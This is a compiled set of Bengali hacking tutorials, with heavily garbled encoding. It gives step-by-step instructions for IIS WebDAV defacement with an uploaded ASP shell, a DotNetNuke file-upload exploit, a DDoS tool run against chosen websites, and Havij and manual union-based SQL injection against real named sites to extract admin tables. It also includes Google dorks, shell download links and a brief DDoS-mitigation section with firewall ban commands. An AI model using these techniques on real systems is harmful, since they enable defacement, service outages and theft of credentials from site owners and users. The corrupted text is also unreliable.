এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

